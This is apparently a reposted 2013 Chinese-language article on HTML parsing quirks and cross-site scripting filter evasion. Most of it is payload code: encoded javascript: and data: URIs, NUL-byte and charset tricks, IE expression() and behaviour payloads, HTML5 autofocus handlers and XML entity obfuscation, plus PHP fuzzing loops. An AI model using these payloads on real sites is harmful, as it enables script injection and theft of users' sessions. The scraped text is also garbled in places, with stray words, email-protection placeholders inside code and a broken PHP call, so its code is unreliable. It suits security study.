Browser Security-超文本標記語言(HTML)

瞌睡龍 · 2013/06/19 18:55javascript

重要的4個規則:

1 &符號不該該出如今HTML的大部分節點中。
2 尖括號<>是不該該出如今標籤內的,除非爲引號引用。
3 在text節點裏面,<左尖括號有很大的危害。
4 引號在標籤內可能有危害,具體危害取決於存在的位置,可是在text節點是沒有危害的。
複製代碼

文件解析模式

在任何HTML文檔中,最開始的<!DOCTYPE>用來指示瀏覽器須要解析的方式,一樣也可以使用Content-Type頭來告訴瀏覽器。php

通常狀況下,瀏覽器中的解析器會嘗試恢復大多數類型的語法錯誤,包括開始和結束標記。css

在XML中,是很是嚴格的,全部標籤必須有對應的開始關閉,也能夠有自動關閉如<img/>也是容許的。html

瞭解HTML解析

在IE瀏覽器中容許在1中插入NUL字符(0x00),能夠繞過很是多的xss過濾器。html5

以下php代碼可把NUL字符插入標籤內作測試:java

2和4中的空格也能夠由tab(0x0B)與換頁鍵(0x0C),2處也能夠用/來代替。react

5中的"在IE中也可替換成`。git

IE當中還有一個特性是當遇到=後面緊跟一個引號的時候會有奇怪的解析。github

<img src=test.jpg?value=">Yes, we are still inside a tag!">
<comment><img src="<comment><img src=x onerror=alert(1)//">
複製代碼

Entity編碼

HTML解析器在創建文檔樹的時候會針對節點內的Entity編碼解碼後傳輸。正則表達式

如下兩個表示相同:

<img src="http://www.example.com"> 
<img src="ht&#x74;p&#x3a;//www.example.com">
複製代碼

下面兩個例子代碼不會執行,由於,編碼的是標籤自己的結構而非節點內的內容:

<img src&#x3d;"http://www.example.com"> 
<img s&#x72;c="http://www.example.com">
複製代碼

Fuzzing

對一個普通的HTML進行Fuzzing測試:

<a href="http://www.google.com/">Click me</a>
複製代碼

看一下能夠Fuzzing的位置

位置 代碼 可能插入或替代的代碼
<的右邊 <[here]a href="... 控制符,空白符,非打印字符
a標籤的後門 <a[here]href="... 同上
href屬性中間 <a hr[here]ef="... 同上+空字節
=兩邊 <a href[here]=[here]"... 全部字符
替換= <a href[here]"... Union編碼符號
替換" <a href=[here]…[here]> 其餘引號
>以前 <a href="…"[here]> 任意字符
/以前 <a href="…">...<[here]/a> 空白符,控制符
/以後 <a href="…">...</[here]a> 空白符,控制符
>閉合以前 <a href="…">…</a[here]> 全部字符

可使用php代碼進行快速測試,例如咱們對第一個位置(<的右邊)進行Fuzzing:

<?php
for($i = 0; $i <= 255; $i++) {
$character = chr($i);
#  <右邊進行測試
echo '<div><'.$character.'a href="http://www.google.com/">'.$i.'</a></div>'; } 
?>
複製代碼

上面的代碼只測試了256個字符,若是想要測試Unicode的全部字符,則須要建立65536個連接。

php默認字符是ISO-8859-1做爲默認的字符編碼,而這種編碼只有256個字符,因此單純的循環65536遍是沒用的。

因此採用Entity編碼方式循環,解碼後輸出:

<?php
for($i = 0; $i <= 65535; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8')
# <右邊進行測試
echo '<div><'.$character.'a href="http://www.google.com/">'.$i.'</a></div>';
}?>
複製代碼

有一個有趣的現象是幾乎全部瀏覽器對$#33;!,瀏覽器會<!當成註釋的開始,而後自動補齊剩下的代碼,瀏覽器解析後的代碼:

<div><!--a href="http://www.google.com/"-->33</div>
複製代碼
針對標籤名的Fuzzing:
<LԱ onclick=alert(1)>click me</LԱ>
複製代碼

上面的代碼,在Chrom、Firefox和Safari中點擊,能夠順利彈出1。

討論一下空字符的問題,IE瀏覽器會自動忽略空字符,並解析剩下的代碼,這樣會繞過不少採用正則匹配黑名單字符串的過濾器。

而且,不少函數和庫並無意識到這個問題:

<?php 
echo '<im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)>';
?>
複製代碼

用IE8打開上述代碼的網頁,查看源代碼只能看到"<im"後面的字符都隱藏了。

還有兩種方式能夠對標籤名Fuzzing,第一種是涉及字符集的問題,第二種是針對php中在過濾以前使用了utf8_decode()函數。

<?php
header('Content-Type: text/html;charset=Shift_JIS'); 
for($i = 1; $i <= 255; $i++) {    
    $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');    
    $character = utf8_decode($character);    
    echo $character.'123456 '.$i."<br>\r\n";
} ?>
複製代碼

代碼很簡單,設置返回響應字符集爲Shift_JIS,而後把utf-8轉換爲Shift_JIS字符集。

能夠看到在IE中129-159和224-252中,123456中的1消失了,與前面的字符合併成一個字符了。

標籤後面也可加入/符號作間隔:

<img/src=x onerror=alert(1)>
複製代碼

嘗試在標籤與/之間再插入其餘字符來測試,因爲空字符沒法直觀顯示,因此用\0來表示null,一樣主流瀏覽器均可以執行:

<img\0/src=x onerror=alert(1)>
複製代碼

再嘗試ASCII碼以外的字符,這種字符在正則表達式中\w是沒法匹配到的,主流瀏覽器均可以執行:

<img/ \/\µ src=x onerror=alert(1)//>
複製代碼

測試發現,標籤名與屬性名直接只要是以/開頭以/或"結尾,中間幾乎能夠插入任意字符。

在Fuzzing屬性方面,考慮兩方面,一個是可使用什麼分隔符,一個是屬性值能夠採用什麼編碼。

分隔符有不少種,單引號,雙引號,無任何引號,反撇號(IE中)。

<?php
for($i = 1; $i <= 255; $i++) {
    $character = chr($i);
    echo '<div><font size='. $character. '20'. $character. '>'.$i.' </font></div>';
} ?>
複製代碼

上面代碼能夠直觀的看出當前瀏覽器支持的分隔符有哪些字符。

上面代碼size屬性若是輸入的是字符的話,會順利執行,因此當$character中循環到數字的時候也會順利解析,但這並不是是把數字當成了分割符:

<?php
for($i = 20; $i <= 255; $i++) {
    $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
    echo '<div><img title="'.$i.'" src='.$character. 'http://www.google.com/intl/en_ALL/images/logo.gif'. $character. '></div>'; 
} ?>
複製代碼

以上代碼能夠看出,屬性爲字符串的時候,能夠做爲分隔符的字符。

爲了表示那些不可打印的字符,就用\x十六進制來表示:

<img src=\x17\x17 onerror=alert(1)//>
複製代碼

以上代碼\x17即表示不可打印字符chr(23),瀏覽器提交的時候能夠輸入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。

在src中能夠正常工做的分隔字符,在處理事件的屬性裏不必定會工做,例如onerror。

可是仍然有一些字符能夠達到咱們的目的,ASCII表中的133和160已經IE中的空字符,甚至是分號。

<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
複製代碼

以上代碼urldecode以後在chrome中能夠順利執行。

下面討論多個標籤的問題,好比用戶可控的數據插入到了<input>標籤中,同時過濾了<>只能插入標籤內數據:

<input value="" type=image src=1 onerror=alert(1)//" type="hidden" name="foo" />
複製代碼

綠色部分是咱們插入的數據,又插入了一個type屬性,可是瀏覽器執行了alert(),瀏覽器實際上會執行第一個屬性,後面的會忽略掉。

在IE中還有一個lowsrc的屬性,跟src相似,本來是爲了方便調用一個縮略圖的,可是在IE6和IE7中,同時也支持僞協議javascript:,還有一個dynsrc屬性也相似:

<img lowsrc=1 onerror=alert(1)> // 全部IE都支持
<img lowsrc=javascript:alert(2)> //IE6和IE7支持
<img src="http://www.google.de/intl/de_de/images/logo.gif" dynsrc="javascript:alert(3)" /> // 只有IE6支持
複製代碼

sytle屬性中還能夠定義很是多的參數:

<span style="color:red" style="color:green;background:yellow"> foobar</span>
複製代碼

上面代碼能夠看到,瀏覽器顯示的字體爲紅色,背景爲黃色,除了定義顏色以外也能夠用expression()執行js,後面會討論。

還有一個屬性是專門用來在一個標籤中插入多個的:xmlns,XML的命名空間屬性,這個後面會在XML中討論。

還有一處可Fuzzing的點即爲標籤的關閉,一個有趣的現象是瀏覽器把<br/></br><p/></p>成徹底同樣。

<b > foobar</b style="x:expression(alert(1))"> // 不會執行alert
<b > foo</b > bar</b style="x:expression(alert(2))"> // IE執行了alert
<script src="http://0x.lv"></b> // 不會執行
複製代碼

能夠執行的代碼爲沒有開始標籤的一個閉合標籤,IE8中,sytle屬性能夠插在一個閉合標籤內,並順利執行。

可混淆的另外一個方法是:可替換爲=,下面例子在IE8中可執行:

<//style=x:expression(if(!window.x){window.x=1;alert(1);})> 
<//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'> 
</a/style='x= \a expr\65 ss/*\&#x2a/ion(if(!window.x){window.x=1;alert(1);})'>
複製代碼

HTML代碼中執行js的各類方式,用如下方式定義的時候,VBscript和JavaScript均可以執行。

<script language=vbs>
alert+1'VBScript
alert(2)// JavaScript 
</script>
複製代碼

也有利用標籤中的屬性來執行js,例如:onclick,onload,onerror等等。

在iframe標籤中,不須要src屬性就能夠順利執行onload屬性,而img標籤不能夠。

這是由於在iframe中沒有src屬性的時候,瀏覽器會自動加載about:blank頁面,即空白頁。

附件tag.php能夠方便的看到當前瀏覽器針對各標籤在不須要用戶交互的狀況下,能夠自動執行的全部屬性。

tag-event.php

從輸出結果能夠看到body標籤支持很是多的屬性能夠在與用戶沒有交互的狀況下執行js。

例如load,error事件,全部的mouse和keyboard事件,以及在用戶離開時的blur事件,還有unload和beforeunload,以及你們不多知道的pageshow屬性。

一樣標籤中也有不多遇到的marquee標籤:

<marquee onscroll=alert(1)>
複製代碼

在Chrome中,html標籤也能夠執行很是多的屬性,,同源frameset標籤也接受focus和blur事件。

一個頗有趣的例子是,讓scroll事件能夠無交互觸發,咱們能夠引入一個錨點,例如:

<a name="bottom">或者經過id屬性<div id="bottom">

那咱們能夠訪問http://test.com/test.html#bottom來訪問,瀏覽器自動滾到該錨點,觸發scroll屬性。

<body onscroll="alert(1)">
<div style="height:10000px">some text</div>
<a name="bottom"></a>
</body>
複製代碼

1.html爲以上代碼,訪問1.html#bottom會自動觸發onscroll事件。

IE中hr標籤中的onresize屬性,在當前窗口大小變化時,會觸發resize事件,執行alert(1)。

<hr onresize=alert(1)>
複製代碼

還有很是多的組合能夠在IE中使用,很難所有列出來,只列舉出幾個不多見的例子:

<bgsound onpropertychange=alert(1)>
<body onpropertychange=alert(2)>
<body onmove=alert(3)>
<body onfocusin=alert(4)>
<body onbeforeactivate=alert(5)>
<body onactivate=alert(6)>
<embed onmove=alert(7)>
<object onerror=alert(8)>
<style onreadystatechange=alert(9) >
<xml onreadystatechange=alert(10) >
<xml onpropertychange=alert(11) >
<table><td background=javascript:alert(12) > 
複製代碼

除了以上on的各類屬性以外,src和href屬性因爲支持javascript和vbscript(只支持IE)僞協議,因此也是能夠執行javascript代碼:

<a href="javascript:alert(1)">click me</a>
<a href="vbscript:alert(2)">click me</a>
複製代碼

代碼執行時必須使用(),不可使用vbscript中的alert+2,當點擊以後,會彈出一個寫在當前頁面DOM中的數字2的警告框。

javascript:和vbscript:協議執行後的結果將會映射在DOM後面。

<a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
複製代碼

以上代碼在IE和Firefox中點擊click me以後可執行,而且能夠看到彈出的domain爲a標籤中所在的domain。

以上代碼須要用戶交互,下面看個不須要用戶交互的例子,使用object標籤和data:標籤:

<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(2)</script > ">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
複製代碼

以上三個在Firefox中可執行,第二個可在Opera中執行,把各標籤中各屬性支持javascript的總結了一些:

<iframe src="javascript:alert(1)"> // 火狐,Chrome, IE8
<embed src="javascript:alert(2)"> // 火狐 
<img src="javascript:alert(4)"> // IE6
<image src="javascript:alert(5)"> // IE6
<body background="javascript:alert(5)"> // IE6 
<script src="javascript:alert(6)"> // IE6 
<table background="javascript:alert(7)"> // IE6 
<isindex type="image" src="javascript:alert(8)"> // IE6-7
複製代碼

以及applet標籤中code和archive屬性能夠用來調用jar文件,執行java代碼。

<applet code="XSS" archive="http://someserver.com/xss.jar"></applet>
複製代碼

Javascript能夠經過DOM直接獲取當前頁面中對應的id和name屬性的對象:

<html>
<body>
<div id="test"></div>
<script>alert(test)</script>
</body>
</html>
複製代碼

上面代碼能夠看出Javascript中並沒定義test變量,可是獲取到了頁面中id爲test的對象。

反過來,咱們能夠在外部直接控制Javascript變量,而且在一些瀏覽器中能夠重寫Javascript中已有的變量。

<html>
<body>
<form id="location" href="bar">
<script>alert(location.href)</script>
</body>
</html>
複製代碼

以上代碼在IE中能夠看到彈出的bar,而不是當前頁面的url,成功覆蓋了本來的變量。

還有一種利用meta標籤來執行Javascript:

<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
複製代碼

上面代碼能夠在Chrome,Opera,IE6中可執行javascript代碼,而且彈出的時meta標籤所在的域。

若是禁止了javascript:協議,也可以使用data:協議,不過可以順利執行javascript而且繼承meta標籤域的測試到的只有Opera。

<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(document.domain)</script>">
複製代碼

IE中爲了兼容各個版本,因此有一個條件註釋的語法,這個語法其餘瀏覽器並不支持,會自動當成html註釋。

<!--[if IE 8]>
<p>Welcome to Internet Explorer 8.</p> 
<![endif]-->
複製代碼

如上文字只有在IE8中才會顯示,條件註釋對於開發是一件很好的事情,能夠方便的判斷瀏覽器版本獲取兼容代碼展示給用戶。

<!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
<!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
<!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
<!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
<!--[if lt Contoso 2]>
<p>Your version of the Contoso control is out of date; please update to the latest.</p>
<![endif]-->
<![if IE 8.0] >
<script > alert(1)</script >  //只在IE8下執行
<![endif] >
<![if IE 8.0000000000000000]]] >
<script > alert(2)</script >  // IE8一樣執行
<![endif] >
<![if IE 8.0000000000000000?] >
<script > alert(3)</script >  // 全部的IE都執行
<![endif] > 
複製代碼

同時IE還支持另一種方法來執行條件語句,就是經過 標籤,而且標籤之間的代碼並不會執行,可是其餘瀏覽器卻會執行。

<comment><img src=x onerror=alert(3)><comment>
<comment onclick=alert(1)>XXX--> //Opera不執行
複製代碼

IE的JS引擎裏一樣也有條件註釋的語法:

<script>
[email protected]_on!alert(1)
[email protected]_on~alert(2)@*/
</script>
複製代碼

前面提到過標籤屬性中的URI能夠作entity編碼,同時,javascript:後面也能夠作url編碼,下面代碼在全部瀏覽器中均可以成功執行。

<a href="j&#x61vascript:%61lert(1)">click me</a>
複製代碼

同時後面的url編碼能夠再作一次entity編碼:

<a href="j&#x61vascript:&#x25;61lert(1)">click me</a>
複製代碼

因爲entity編碼容許&#以後插入任意多個0,再利用上javascript的註釋混淆後:

<a href="j&#x61vascript: //%0&#x61 &#x00025;61lert(1)">click me</a>
複製代碼

base標籤訂義當前頁面連接默認地址或默認目標,下面代碼在opera中可執行:

<base href="javascript:alert(1)"/>
<a href="#">click me</a>
複製代碼

javascript也能夠換行分割(在IE與chrome中可執行alert):

<a href="j&#x61v
ascript: //%0&#x61 &#x00025;61lert(1)">click me</a>
複製代碼

換行字符同時也可使用entity編碼:

<a href="j&#x61va&#x000Ascript://%0&#x61&#x00025;61lert(1)"> click me</a>

<?php
for($i = 0; $i<=65535; $i++) {
    $chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
    echo '<iframe src="java'.$chr.'script:alert('.$i.')"></iframe> <br/>';
} ?>
複製代碼

上面代碼可測出當前瀏覽器中,javascript字符串插入哪些字符仍然能夠執行alert。

<a href="data:text/html;charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>
複製代碼

上面代碼在Firefox和Opera中能夠彈出當前域,Chrome與Safari能夠彈,可是繼承不到a標籤所在的域,彈出爲空,IE不能執行。

Firefox中data:協議默認MIME類型爲text/html,即便你定義了一個他根本不知道的類型,他也會把它看成text/html類型:

<iframe src="data:µ,<script>alert(1)</script>"> </iframe>
<iframe src="data:&#ffff;,<script>alert(2)</script>"></iframe>
複製代碼

利用以前總結的結論,最終能夠寫出下面可以讓Firefox執行的代碼:

<iframe/
\/src="data:µ,%3cscript%3ealert(document.dom&#x25;61in+[])%3c/script%3e"> </iframe>
複製代碼

而且火狐中會忽略data:協議中的全部空白字符:

<iframe src="data:.&#x2c &#x25;
3
cscri pt%
3 e alert(1)
%3c /s &#x43 RIP t>">
複製代碼

最終能夠混淆成這樣:

<iframe src="d&#097t&#x0061:. &#x2c &#x25; 3
c s cri &#x00D; pt %
3 e al\u0065rt(1)
%3c /s &#x43 RI &#x009 P t>"
data:%,<b> < s &#10 c r i p t>alert(1) < /s &#10 c r i p t>
複製代碼

以前提到的標籤,在IE中data:協議都不能執行javascript,可是在style標籤裏,[email protected]:執行javascript:

<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
複製代碼

下面討論一下事件即onload、onerror等事件以後的混淆方法:

<body onload="al&#000101rt&#8233
/*&#00*/(document. dom&#x5cu0061in)//">
複製代碼

採用了entity編碼,最後一處是先使用javascript的unicode編碼,而後再entity編碼。

因爲是直接處理DOM的方法和對象,與直接在script標籤內處理字符串的環境仍是不一樣,可是咱們能夠加註釋或者換行符。

<body onload="al&#000101rt&#8233
//&#x0d/*&#00*/(document. dom&#x5cu0061in)//">
複製代碼

當使用location重定向到javascript:僞協議url的時候,又能夠多作一重編碼了:

<body/:a/onload="location='j&#97vAscript:'
+&#x28[&#x5d+
'\141\l\u0065rt\r\(/*&#x2a/docum%65nt.dom\x&#x0032;561in)'
)">
複製代碼

事件同時又能夠直接調用其餘屬性:

<img src="x" onload="alert(1)" onerror="this.onload()">
<img/src="*/(1)"title="alert/*"onerror="eval(title+src)">
複製代碼

style屬性的混淆,一個沒有任何混淆的簡單例子:

<input type="text" value="" style=display:block;position:absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1) a="" name="foo" />
複製代碼

利用以前總結的在屬性裏的混淆方法:

<l1!/style="-:\65 \x/**/\p\r\0&#x30;0065 /**/ssio\n(write /**&#x2f(dom\u0061in))"> 
複製代碼

在expression中,咱們能夠直接訪問document中的write方法和domain屬性,這代表咱們當前位於document的DOM範圍內。

<l1!/style="-:\65 \x/**/\p\r\0&#x30;0065 /**/ssio\n(location='j&#97vAscript:'+&#x28[&#x5d+'document.write\r\(/*&#x2a/1)'))"> 
複製代碼

轉到javascript的URL時,已不在document當中,訪問write方法時須要使用document.write。

看到有\xx和\xxxxxx的Unicode編碼,這些都是CSS編碼,與JavaScript編碼很是類似。

下面兩個URL中列舉了一些瀏覽器對各類奇怪的css語法支持狀況:

imfo.ru/csstest/css… centricle.com/ref/css/fil…

在IE中,css的解析很是的寬泛:

<style>
/*\*/*{x:expression(write(1))/*
</style>
<style>
_{content:"\"/*" x}
*{0:expression(write(2))
</style>
<a style=<!---/**/&#61expression(write(3))/*-- > X</a > 
複製代碼

從IE5.5到IE8中,除了expression能夠用來執行JavaScript以外,也能夠經過HTML+TIME的形式。

這種方式惟一的缺點就是也須要一個事件來執行JavaScript,即onbegin或者onend:

1<l style="behavior:url(#default#time2)"onbegin="alert(1)">
複製代碼

還有一種方式利用set標籤:

1<set/xmlns="urn:schemas-microsoft-com:time" style="beh&#x41vior:url(#default#time2)" attributename="innerhtml" to="&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;">
複製代碼

測試一下style屬性中在哪些瀏覽器中,能夠插入哪些字符:

<?php
for($i = 0; $i<=65535; $i++) {
    $chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
    echo '<a style="color='.$chr.'red">'.dechex($i).'['.$chr.']</a>';
} ?>
複製代碼

從測試結果能夠得出,下面的代碼能夠在IE中執行:

<div style=xss&#x2000;:&#x3000;expression(write(1))>
複製代碼

在一些老版本的IE中,如IE6和IE7,還能夠經過背景相關屬性調用javascript的URL來執行javascript代碼:

<b style="background:url(javascript:alert('background'))">xxx</b> 
<b style="background-image:url(javascript:alert('background'))"> xxx</b>
<b style="list-style:url(javascript:alert('background'))">xxx</b> 
<b style="list-style-image:url(javascript:alert('background'))"> xxx</b>
複製代碼

經過link標籤(在IE6下適用,同時javascript能夠換成vbscript):

<link rel="stylesheet" href="javascript:alert(1)">
<link rel="stylesheet" href="vb&#x09script:%61lert(document.domain)">
複製代碼

style標籤中能夠經過導入url的方式執行javascript:

<style>
@imp\o\ rt url('javascript:%61lert(2)'); 
</style>
複製代碼

HTML5中增長了不少標籤跟屬性,列舉一些可執行JavaScript的方法:

<form><input><output onforminput="alert(1)"> //Opera支持
複製代碼

onfocus與autofocus的配合:

<input onfocus=write(domain) autofocus>
<keygen onfocus=write(domain) autofocus>
<textarea onfocus=write(domain) autofocus>
<body onfocus=write(domain) autofocus>
<frameset onfocus=write(domain) autofocus>
<button onfocus=write(domain) autofocus>
<input autofocus onblur=write(domain)><input autofocus> //Chrome中無交互執行
<iframe/src=javascript:alert(1)>
<video/poster=javascript:alert(2)>
<button form="test" formaction="javascript:alert(3)">
複製代碼

更多的html5攻擊方式請見:html5sec.org/

XML內容比較少,就一塊兒寫到HTML裏了,XML支持Unicode,因此Unicode裏的全部字符均可以用來作標籤或者屬性,同時有可能繞過<\w+匹配:

<啊 onclick="alert(1)" xmlns="http://www.w3.org/1999/xhtml">XXX</啊>
複製代碼

XML相比HTML最嚴格的就是有了開始的標籤,必需要有結束標籤匹配,不然會報錯。

可是在大多數瀏覽器中彷佛並不會影響頁面中javascript的解析(IE中不執行):

<html xmlns="http://www.w3.org/1999/xhtml"> 
<script>
alert(1); // works
</script>
<p>
<script>
alert(2); // works too 
</script>
</html>
複製代碼

甚至能夠經過JavaScript修改錯誤頁面的內容(在Firefox中可執行):

<html xmlns="http://www.w3.org/1999/xhtml"> 
<p>
<script>
setTimeout(function(){ document.activeElement.textContent='hello world' },1);
</script>
</html>
複製代碼

XML的編碼規範與HTML很是類似,能夠用entity編碼屬性值。 在XML中,咱們能夠在DOCTYPE中自定義entity,甚至經過URL引入外部文件:

<!DOCTYPE xss [<!ENTITY x "&#x61;l&#x26;y;"><!ENTITY y "ert">]>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>&x;(document.domain);</script>
</html>
複製代碼

上面代碼定義了一個&y變量爲"ert",&x爲"al&y"(a與&符號編碼了一下),即alert,

<!DOCTYPE xss [<!ENTITY _k "&#x61;l&#x26;__;"><!ENTITY __ "ert" > ]>
<script xmlns="http://www.w3.org/1999/xhtml">
&lt;!--&#10;&_k;(1&#x000029;
</script>
複製代碼

在xml中,包括script標籤內的代碼瀏覽器都會entity解碼後執行,這點頗有用:

<script xmlns="http://www.w3.org/1999/xhtml">
a='&#x27;,alert(1)//';
b='&#39;,alert(2)//';
c='&apos;,alert(3)//';
</script>
複製代碼

從5.5版本開始,Internet Explorer(IE)開始支持Web 行爲的概念。

這些行爲是由後綴名爲.htc的腳本文件描述的,它們定義了一套方法和屬性,幾乎能夠把這些方法和屬性應用到HTML頁面上的任何元素上去。

HTML中能夠經過加載CSS的behavior的方式調用htc文件,僅支持同域調用:

//HTML文件代碼:
<html>
<head>
<style>body { behavior: url(test.htc);}</style> </head>
<body>Hello</body>
</html>
//htc文件代碼:
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
複製代碼

一樣HTML調用XML文件執行javascript:

<html>
<body>
<xml id="xss" src="test.xml"></xml>
<label dataformatas=html datasrc=#xss datafld=payload></label> </body>
</html>
<?xml version="1.0"?>
<x>
<payload>
<![CDATA[<img src=x onerror=alert(domain)>]]> </payload>
</x>
複製代碼

dataformatas定義了獲取到的數據以什麼格式解析(HTML或text),datasrc指綁定的id,datafld指使用哪一段數據。

svg調用javascript(新版本的幾個瀏覽器支持):

<svg xmlns="http://www.w3.org/2000/svg">
<g onload="alert(1)"></g>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"></svg>
複製代碼
相關文章
相關標籤/搜索